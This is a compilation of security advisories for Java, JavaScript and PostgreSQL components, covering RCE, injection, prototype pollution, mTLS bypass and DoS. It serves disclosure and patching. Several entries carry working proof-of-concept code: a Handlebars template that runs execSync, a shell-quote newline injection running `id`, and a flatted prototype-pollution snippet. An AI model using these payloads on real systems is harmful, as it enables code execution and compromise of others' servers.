internet-facing non-secure networks or non-secure hosts. * Ensure your Hazelcast cluster is appropriately protected by firewall rules. * Disable any features you are not using. ### Workarounds If you cannot update to a fixed version immediately, restrict cluster access to trusted clients only and ensure clients are hardened against compromise. ### References [Security Advisory on the Hazelcast Support Portal](https://support.hazelcast.com/s/article/Security-Advisory-GHSA-6v25-8wq6-xq4j)
In Bouncy Castle for Java before 1.85, Name Constraints bypass via trailing dot in rfc822Name and URI. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).
Critical XXE in Apache Tika (tika-parser-pdf-module) in Apache Tika 1.13 through and including 3.2.1 on all platforms allows an attacker to carry out XML External Entity injection via a crafted XFA file inside of a PDF. An attacker may be able to read sensitive data or trigger malicious requests to internal resources or third-party servers. Note that the tika-parser-pdf-module is used as a dependency in several Tika packages including at least: tika-parsers-standard-modules, tika-parsers-standard-package, tika-app, tika-grpc and tika-server-standard. Users are recommended to upgrade to version 3.2.2, which fixes this issue.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. When making any HTTP request, the automatically enabled and self-managed CookieStore (aka cookie jar) will silently replace explicitly defined Cookies with any that have the same name from the cookie jar. For services that operate with multiple users, this can result in one user's Cookie being used for another user's requests.
Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.
PHP has various global state that temporarily points into request memory. In some scenarios, global state may not be correctly reset, or may be repopulated after being reset. The global state may then refer to request memory even after it has been freed. Subsequent requests may read or branch on this stale state before it is fully initialized. Multiple strategies can trigger this condition and produce remote code execution (RCE).
@isaacs/brace-expansion is a hybrid CJS/ESM TypeScript fork of brace-expansion. Prior to version 5.0.1, @isaacs/brace-expansion is vulnerable to a denial of service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process. This issue has been patched in version 5.0.1.
websocket-driver is a WebSocket protocol handler with pluggable I/O. Prior to 0.7.5, the frame format in draft versions of the WebSocket protocol includes a length header that allows an arbitrarily large integer to be encoded as a sequence of bytes with the high bit set. By sending an indefinite sequence of bytes with values 0x80 or above, a client can make the server parse these bytes into an ever-growing integer in lib/websocket/driver/draft75.js; because JavaScript numbers are 64-bit floating point values, this number will eventually lose precision and lead to the subsequent payload being parsed incorrectly. This issue is fixed in version 0.7.5.
shell-quote's `quote()` function did not validate object-token inputs against the operator model used by `parse()`. The `.op` field was backslash-escaped character by character using `/(.)/g`, which in JavaScript does not match line terminators (\n, \r, U+2028, U+2029). A line terminator in `.op` therefore passed through unescaped into the output; POSIX shells treat a literal newline as a command separator, so any content after it would execute as a second command. The vulnerable code path is reachable in two ways: (1) direct construction of `{ op: '...\n...' }` from external input, and (2) via `parse(cmd, envFn)` when `envFn` returns object tokens whose `.op` is attacker-influenced. Both are documented API surface. Fixed by replacing the per-character escape with strict shape validation: `.op` must match the parser's control-operator allowlist; `{ op: 'glob', pattern }` validates `pattern` and forbids line terminators; `{ comment }` validates `comment` and forbids line terminators; any other object shape throws `TypeError`.
### Summary When making any HTTP request, the automatically enabled and self-managed `CookieStore` (aka cookie jar) will silently replace explicitly defined `Cookie`s with any that have the same name from the cookie jar. For services that operate with multiple users, this can result in one user's `Cookie` being used for another user's requests. ### Details This issue is described without security warnings here: https://github.com/AsyncHttpClient/async-http-client/issues/1964 A PR to fix this issue has been made: https://github.com/AsyncHttpClient/async-http-client/pull/2033 ### PoC 1. Add an auth `Cookie` to the `CookieStore` - This is identical to receiving an HTTP response that uses `Set-Cookie`, as shown in issue #1964 above. 2. Handle a different user's request where the same `Cookie` is provided as a passthrough, like a JWT, and attempt to use it by explicitly providing it. 3. Observe that the user's cookie in step 2 is passed as the Cookie in step 1. ### Impact This is generally going to be a problem for developers of backend services that implement third party auth features and use other features like token refresh. The moment a third party service responds by _setting_ a cookie in the response, the `CookieStore` will effectively break almost every follow-up request (hopefully by being rejected, but possibly by revealing a different user's information). If your service sets cookies based on the response that happens here, it's possible to lead to even greater levels of exposure. ### Workaroud You can avoid this issue by disabling the `CookieStore` during client creation: ```java DefaultAsyncHttpClientConfig.Builder clientBuilder = Dsl.config() .setCookieStore(null) // other configuration ; ```
## Summary Handlebars can expose the `Function` constructor despite its prototype-access deny list. When a template reaches `Function.prototype`, its own `constructor` property is returned before the deny list is checked. An attacker who can render a controlled template with `allowProtoMethodsByDefault: true` can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. ## Description `lookupProperty` trusts own properties: ```js if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { return result; } ``` Normally, prototype-derived values reach `resultIsAllowed`, which blocks dangerous method names such as `constructor`. However, `constructor` is itself an own property of prototype objects: ```js Function.prototype.constructor === Function; String.prototype.constructor === String; Object.prototype.constructor === Object; ``` As a result, once a template reaches `Function.prototype`, looking up `constructor` returns `Function` without consulting the deny list. ## Proof of Concept An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context: 1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function). 2. Access constructor via own property bypass: {{lookup (lookup myFunction "\_\_proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated. 3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply). ```javascript const Handlebars = require('handlebars'); // constructor deny list bypass via hasOwnProperty check in lookupProperty const template = Handlebars.compile( // construct code array from template string literal '{{#with a}}' + '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' + '{{lookup "" (pop)}}' + '{{lookup "" (shift)}}' + '{{/with}}' + // access Function via own property bypass on Function.prototype.constructor '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' + // #each sets depth0=Function without calling it, apply avoids hash body '{{#each @root}}{{#if @index}}{{else}}' + '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' + '{{/if}}{{/each}}' ); const result = template( { fn: function(){}, a: [0] }, { allowProtoMethodsByDefault: true } ); console.log(result.trim()); // output: uid=1000(node) gid=1000(node) groups=1000(node) ``` ## Workarounds Do not set `allowProtoMethodsByDefault: true` when compiling untrusted templates with untrusted data. If you are using packages like [hbs](https://www.npmjs.com/package/hbs) which set `allowProtoMethodsByDefault: true` by default, you have to update Handlebars to the latest version.
### Summary `shell-quote`'s `quote()` function did not validate object-token inputs against the operator model used by `parse()`. The `.op` field was backslash-escaped character by character using `/(.)/g`, which in JavaScript does not match line terminators (`\n`, `\r`, U+2028, U+2029). A line terminator in `.op` therefore passed through unescaped into the output; POSIX shells treat a literal `\n` as a command separator, so any content after it would execute as a second command. The vulnerable code path is reachable in two ways. Neither requires the parser to misbehave — `parse()` only emits ops from a fixed control set — but both are documented API surface: 1. **Direct construction.** A caller builds `{ op: '...\n...' }` from external input (e.g. a deserialized argument array) and passes it to `quote()`. 2. **`envFn` return.** `parse(cmd, envFn)` is documented to splice the return value of `envFn` into the result array when it is an object. An attacker-influenced data source consulted by `envFn` can introduce an object token whose `.op` reaches `quote()`. ### Impact Shell command injection in callers that pass object tokens with attacker-influenced `.op` values to `quote()` and then hand the result to a shell. The preconditions are narrower than ordinary string injection — they require the caller to feed object tokens into `quote()` — but object tokens are a public, documented part of the API surface, and `quote()` is intended to be a shell-safety boundary. ### PoC ```js const { parse, quote } = require('shell-quote'); // Direct construction quote([{ op: ';\nid' }]); // → "\;\n\\i\\d" ← literal newline; second line executes as a command // Via parse() with an envFn returning attacker-shaped objects const tokens = parse('echo $X', () => ({ op: ';\nid' })); require('child_process').execSync(quote(tokens), { shell: true }); // Executes `id` after `echo \;`. ``` Confirmed under `sh`, `bash`, `dash`, and `zsh`. ### Patch Fixed by replacing the per-character escape with strict shape validation in `quote()`. The object-token branch now: - **`{ op }`** — `.op` must be a string from the same allowlist the parser emits (`||`, `&&`, `;;`, `|&`, `<(`, `<<<`, `>>`, `>&`, `<&`, `&`, `;`, `(`, `)`, `|`, `<`, `>`). Anything else throws `TypeError`. This is the direct fix for the reported issue and removes the entire class of `.op` injection. - **`{ op: 'glob', pattern }`** — `.pattern` must be a string with no line terminators. Glob metacharacters (`*`, `?`, `[`, `]`, `{`, `}`, `,`) pass through; all other shell-special characters are backslash-escaped. (Previously the pattern field was discarded entirely and the literal string `\g\l\o\b` was emitted — a latent bug, not security-relevant.) - **`{ comment }`** — `.comment` must be a string with no line terminators (line terminators would end the shell comment and resume command parsing — same injection shape). - **Any other object shape** — `TypeError`. The fix is allowlist-based rather than a targeted regex tweak, so it closes the reported vector and forecloses adjacent ones (U+2028 / U+2029 line separators in `.op`, line terminators in comments, unknown-shape objects coerced through `.replace`). ### Workarounds Prior to upgrading, callers that build object tokens from untrusted input should validate `.op` against the parser's operator set themselves, and never construct `{ op }` from attacker-controlled strings. ### Credits Reported by Akshat Sinha
### Impact The frame format in draft versions of the WebSocket protocol includes a length header that allows an arbitrarily large integer to be encoded as a sequence of bytes with the high bit set. By sending an indefinite sequence of bytes with values `0x80` or above, a client can make the server parse these bytes into an ever-growing integer. Since JavaScript numbers are 64-bit floating point values, this number will eventually lose precision and lead to the subsequent payload being parsed incorrectly. ### Patches The issue has been patched in version 0.7.5 by rejecting the message if the length header exceeds the configured maximum message length. All users should upgrade to this version. ### Workarounds No known workarounds exist. ### Acknowledgements This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.
A chained attack via SQL Expressions and a Grafana Enterprise plugin can lead to a remote arbitrary code execution impact (RCE). This is enabled by a feature in Grafana (OSS), so all users are always recommended to update to avoid future attack vectors going this path. Only instances with the sqlExpressions feature toggle enabled are vulnerable. Only instances in the following version ranges are affected: - 11.6.0 (inclusive) to 11.6.14 (exclusive): 11.6.14 has the fix. 11.5 and below are not affected. - 12.0.0 (inclusive) to 12.1.10 (exclusive): 12.1.10 has the fix. 12.0 did not receive an update, as it is end-of-life. - 12.2.0 (inclusive) to 12.2.8 (exclusive): 12.2.8 has the fix. - 12.3.0 (inclusive) to 12.3.6 (exclusive): 12.3.6 has the fix. - 12.4.0 (inclusive) to 12.4.2 (exclusive): 12.4.2 has the fix. 13.0.0 and above also have the fix: no v13 release is affected.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. In versions 8.5.11 and prior, the PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). This issue has been fixed in version 8.5.12.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.137.Fina and 4.2.17.Final, io.netty.handler.ssl.SslClientHelloHandler#decode checks the wrong offset before reading the four-byte TLS handshake header, so a ClientHello whose handshake header spans records can cause an IndexOutOfBoundsException and invoke select(ctx, null). This selects the default SslContext instead of the SNI-specific context. In deployments where per-SNI clientAuth=REQUIRE is the sole mutual TLS gate, the default SslContext uses clientAuth=NONE or clientAuth=OPTIONAL, and no application-layer certificate verification exists, an unauthenticated remote attacker can bypass the protected route's mutual TLS requirement. This issue is fixed in versions 4.1.137.Final and 4.2.17.Final.
Path traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled). This issue affects Apache FreeMarker from 2.2.0 through 2.3.34. Users are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this. Note that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context.
proxy-addr is a Node.js module that determines a request's client address behind trusted reverse proxies, and it backs Express req.ip and req.ips. In versions 1.1.0 through 2.0.7, a trust subnet written in IPv4-mapped IPv6 notation with an IPv4-sized prefix, such as ::ffff:10.0.0.0/8 instead of the correct ::ffff:10.0.0.0/104, is accepted without error but trusts every IPv4 address on the internet rather than the block it names. Because the socket peer then becomes trusted at hop 0, any unauthenticated client can supply an arbitrary X-Forwarded-For header and control the address the application reads, which defeats IP-based access control, rate limiting, geolocation, and audit logging. This is a fail-open regression introduced in version 1.1.0. The issue is fixed in proxy-addr 2.0.8, and users should upgrade to 2.0.8 or later. As a workaround, ensure any IPv4-mapped IPv6 trust subnet uses a prefix length of at least 97, or express the range in plain IPv4 notation.
Path traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled). This issue affects Apache FreeMarker from 2.2.0 through 2.3.34. Users are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this. Note that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context.
### Summary A fragmented TLS ClientHello whose handshake header spans multiple records makes Netty silently fall back to the default SslContext; where per-SNI selection is the sole mTLS gate, an unauthenticated attacker can bypass the route's mTLS requirement. ### Details In `io.netty.handler.ssl.SslClientHelloHandler#decode` the guard that should wait for the 4-byte handshake header checks the wrong offset - it ignores the 5-byte record header that precedes it - and therefore never fires: ```java if (handshakeLength == -1) { if (readerIndex + 4 > endOffset) { // Need more data to read HandshakeType and handshakeLength (4 bytes) return; } ``` When the first record's payload is < 4 bytes, `handshakeLength = in.getUnsignedMedium(readerIndex + SslUtils.SSL_RECORD_HEADER_LENGTH + 1);` leads to `IndexOutOfBoundsException `. That is caught by the generic `catch (Exception)` block, which calls `select(ctx, null)` - this is the default `SslContext`. Fallback to default on parse failure is a problem when per-SNI selection is the sole mTLS gate. ### Impact SNI routing bypass. Escalates to an unauthenticated mTLS bypass only when: - mTLS is enforced solely via per-SNI SslContext (clientAuth=REQUIRE) - the default/fallback SslContext is permissive (clientAuth=NONE/OPTIONAL) - no secondary peer-certificate verification exists at the application layer.
### Impact `proxy-addr` determines which network hops are trusted proxies so that `X-Forwarded-For` can be believed. When an application configures a trust subnet as an IPv4-mapped IPv6 address with a short prefix, such as `::ffff:10.0.0.0/8` (the correct spelling is `::ffff:10.0.0.0/104`), the subnet compiles with all-zero leading bits and matches every IPv4 address instead of the block it names. The same happens for any IPv6 trust subnet with zero leading bits, such as `::/1`. Every unauthenticated client is then trusted as a proxy at hop 0, so `proxyaddr(req, trust)`, and therefore `req.ip` and `req.ips` in Express, returns whatever the client sends in `X-Forwarded-For`. This defeats IP-based access control, rate limiting, geolocation, and audit logging. The misconfiguration compiles without any error, and the same block written correctly behaves correctly, so the difference is not visible from the configuration. ### Patches Upgrade to `proxy-addr` 2.0.8. An IPv4 address now matches an IPv6 trust subnet only when that subnet is a genuine IPv4-mapped subnet whose prefix covers the mapped marker. ### Workarounds Write IPv4 trust subnets in plain IPv4 notation (for example `10.0.0.0/8`). If IPv4-mapped IPv6 notation is required, use the full form so the prefix covers the mapped marker (for example `::ffff:10.0.0.0/104` for the `10.0.0.0/8` block).
flatted is a circular JSON parser. Prior to version 3.4.2, the parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it with the key "__proto__" returns Array.prototype via the inherited getter. This object is then treated as a legitimate parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype to the consumer. Any code that subsequently writes to that property will pollute the global prototype. This issue has been patched in version 3.4.2.
Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java. This issue affects BC-JAVA: from 1.71 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.
Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java. This issue only affects users of the FrodoKEM algorithm involved in the decryption of encapsulations. This issue affects BC-JAVA: from 1.71 to 1.80.1, 1.81, 1.82 to 1.83. Fixed versions: 1.80.2, 1.81.1, 1.84
--- **Summary** The parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it with the key "\_\_proto\_\_" returns Array.prototype via the inherited getter. This object is then treated as a legitimate parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype to the consumer. Any code that subsequently writes to that property will pollute the global prototype. --- **Root Cause** File: esm/index.js:29 (identical in cjs/index.js) ``` const resolver = (input, lazy, parsed, $) => output => { for (let ke = keys(output), {length} = ke, y = 0; y < length; y++) { const k = ke[y]; const value = output[k]; if (value instanceof Primitive) { const tmp = input[value]; // Bug is here ``` No validation that value is a safe numeric index input is built as a plain Array. JavaScript's property lookup on arrays traverses the prototype chain for non-numeric keys. The key "\_\_proto\_\_" resolves to Array.prototype, which: - has type "object" → passes the typeof tmp === object guard at line 30 - is not in the parsed Set yet → passes the !parsed.has(tmp) guard. - The reference to Array.prototype is then enqueued in lazy and later unconditionally assigned to the output object. --- **Replication Steps** ``` const Flatted = require('flatted'); const parsed = Flatted.parse('[{"x":"__proto__"}]'); parsed.x.polluted = 'pwned'; console.log([].polluted); // Returns true ``` --- **Impact** An attacker can supply a crafted flatted string to parse() that causes the returned object to hold a live reference to Array.prototype, enabling any downstream code that writes to that property to pollute the global prototype chain, potentially causing denial of service or code execution. **Recommended solution** Validate that the index string represents an integer within the bounds of input before accessing it: // Before (vulnerable) const tmp = input[value]; // After (safe) const idx = +value; // coerce boxed String → number const tmp = (Number.isInteger(idx) && idx >= 0 && idx < input.length) ? input[idx] : undefined;
JSON5 is an extension to the popular JSON file format that aims to be easier to write and maintain by hand (e.g. for config files). The `parse` method of the JSON5 library before and including versions 1.0.1 and 2.2.1 does not restrict parsing of keys named `__proto__`, allowing specially crafted strings to pollute the prototype of the resulting object. This vulnerability pollutes the prototype of the object returned by `JSON5.parse` and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations. This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from `JSON5.parse`. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution. `JSON5.parse` should restrict parsing of `__proto__` keys when parsing JSON strings to objects. As a point of reference, the `JSON.parse` method included in JavaScript ignores `__proto__` keys. Simply changing `JSON5.parse` to `JSON.parse` in the examples above mitigates this vulnerability. This vulnerability is patched in json5 versions 1.0.2, 2.2.2, and later.
Babel is a compiler for writingJavaScript. In `@babel/traverse` prior to versions 7.23.2 and 8.0.0-alpha.4 and all versions of `babel-traverse`, using Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the `path.evaluate()`or `path.evaluateTruthy()` internal Babel methods. Known affected plugins are `@babel/plugin-transform-runtime`; `@babel/preset-env` when using its `useBuiltIns` option; and any "polyfill provider" plugin that depends on `@babel/helper-define-polyfill-provider`, such as `babel-plugin-polyfill-corejs3`, `babel-plugin-polyfill-corejs2`, `babel-plugin-polyfill-es-shims`, `babel-plugin-polyfill-regenerator`. No other plugins under the `@babel/` namespace are impacted, but third-party plugins might be. Users that only compile trusted code are not impacted. The vulnerability has been fixed in `@babel/traverse@7.23.2` and `@babel/traverse@8.0.0-alpha.4`. Those who cannot upgrade `@babel/traverse` and are using one of the affected packages mentioned above should upgrade them to their latest version to avoid triggering the vulnerable code path in affected `@babel/traverse` versions: `@babel/plugin-transform-runtime` v7.23.2, `@babel/preset-env` v7.23.2, `@babel/helper-define-polyfill-provider` v0.4.3, `babel-plugin-polyfill-corejs2` v0.4.6, `babel-plugin-polyfill-corejs3` v0.8.5, `babel-plugin-polyfill-es-shims` v0.10.0, `babel-plugin-polyfill-regenerator` v0.5.3.
Incorrect control of environment variables in PostgreSQL PL/Perl allows an unprivileged database user to change sensitive process environment variables (e.g. PATH). That often suffices to enable arbitrary code execution, even if the attacker lacks a database server operating system user. Versions before PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, and 12.21 are affected.
Out-of-bounds memory operations in org.lz4:lz4-java 1.8.0 and earlier allow remote attackers to cause denial of service and read adjacent memory via untrusted compressed input.
A possible security vulnerability has been identified in Apache Kafka. This requires access to a alterConfig to the cluster resource, or Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config and a SASL-based security protocol, which has been possible on Kafka clusters since Apache Kafka 2.0.0 (Kafka Connect 2.3.0). When configuring the broker via config file or AlterConfig command, or connector via the Kafka Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config` property for any of the connector's Kafka clients to "com.sun.security.auth.module.LdapLoginModule", which can be done via the `producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties. This will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server. Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath. Since Apache Kafka 3.0.0, users are allowed to specify these properties in connector configurations for Kafka Connect clusters running with out-of-the-box configurations. Before Apache Kafka 3.0.0, users may not specify these properties unless the Kafka Connect cluster has been reconfigured with a connector client override policy that permits them. Since Apache Kafka 3.9.1/4.0.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule,com.sun.security.auth.module.LdapLoginModule" are disabled in Apache Kafka Connect 3.9.1/4.0.0. We advise the Kafka users to validate connector configurations and only allow trusted LDAP configurations. Also examine connector dependencies for vulnerable versions and either upgrade their connectors, upgrading that specific dependency, or removing the connectors as options for remediation. Finally, in addition to leveraging the "org.apache.kafka.disallowed.login.modules" system property, Kafka Connect users can also implement their own connector client config override policy, which can be used to control which Kafka client properties can be overridden directly in a connector config and which cannot.
Improper Access Control vulnerability in Apache Commons. A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. Users of the artifact org.apache.commons:commons-beanutils2 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.
Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability in Linkify (linkifyjs) allows XSS Targeting HTML Attributes and Manipulating User-Controlled Variables.This issue affects Linkify: from 4.3.1 before 4.3.2.
Integer wraparound in PostgreSQL tsvector and tsquery data type functions allows an unprivileged database user to cause the server to undersize an allocation and write out-of-bounds, via crafted large inputs. This may execute arbitrary code as the operating system user running the database. These types are typically sourced from application logic, not taken from the application's user. Hence, application users attacking the database, through the application as a conduit, are unlikely. CVE-2026-6473 had fixed similar problems. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Heap buffer overflow in PostgreSQL regexp allows the query author to execute arbitrary code as the operating system user running the database, via text that would not pass encoding validation. This shares heritage with CVE-2026-2006, but this case involved unanticipated data growth when round-tripped through pg_wchar. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Heap buffer overflow in PostgreSQL to_char(timestamptz) allows the party choosing the timezone to execute arbitrary code as the operating system user running the database, via a long POSIX timezone abbreviation. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Heap buffer overflow in PostgreSQL plperl return of a tied hash allows the function owner to execute arbitrary code as the operating system user running the database, via a crafted function body. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Type confusion in PostgreSQL module "refint" allows an object creator to execute arbitrary code as the operating system user running the database. The fix for this emerged as a non-security bug report, and the fix appear in the git repository with subject "refint: Remove plan cache.", without a CVE number. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Integer wraparound in PostgreSQL 32-bit builds of pltcl and plperl allows an object creator to cause the server to undersize an allocation and write out-of-bounds via crafted function bodies. This may execute arbitrary code as the operating system user running the database. CVE-2026-6473 had fixed similar problems. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Type confusion with PostgreSQL "internal" data type arguments allows any user to execute arbitrary code as the operating system user running the database, via calls to functions with that argument type. Type "internal" represents a class of mutually-incompatible data structures not intended for access from SQL. The system intended to prevent such function calls, but this prevention had gaps. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
SQL injection in PostgreSQL EXTRACT() deparse allows an object owner to execute arbitrary SQL as a superuser via a hostile object definition. Attacks affect expression deparse consumers broadly, including pg_dump, psql commands like \sf, and any similar usage in non-core tools. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Integer wraparound in PostgreSQL fuzzystrmatch allows a user to direct writes to a huge range of addresses, executing arbitrary code as the operating system user running the database, via extreme inputs to SQL function levenshtein() or levenshtein_less_equal(). Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Type confusion in PostgreSQL pg_restore_attribute_stats() allows an object creator to execute arbitrary code as the operating system user running the database, via conflation of range and multirange values. Within major version 18, minor versions before PostgreSQL 18.6 are affected. Versions before PostgreSQL 18 are unaffected.
Type confusion in PostgreSQL "portal"/cursor lifecycle allows a user to execute arbitrary code as the operating system user running the database, via re-creation of a cursor or other portal with different types. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Untrusted data inclusion in pg_dump in PostgreSQL allows a malicious superuser of the origin server to inject arbitrary code for restore-time execution as the client operating system account running psql to restore the dump, via psql \restrict meta-command input expansion. The fix for CVE-2025-8714 introduced \restrict and \unrestrict to block this attack, but \unrestrict itself was sufficient for an attack. pg_dumpall is also affected. pg_restore is affected when used to generate a plain-format dump. Non-core use of \restrict would be affected, but we've not identified non-core use. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
Heap buffer overflow in PostgreSQL pg_dump of long function transform lists allows an object creator to execute arbitrary code as the operating system user running pg_dump, via a crafted transform list. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.
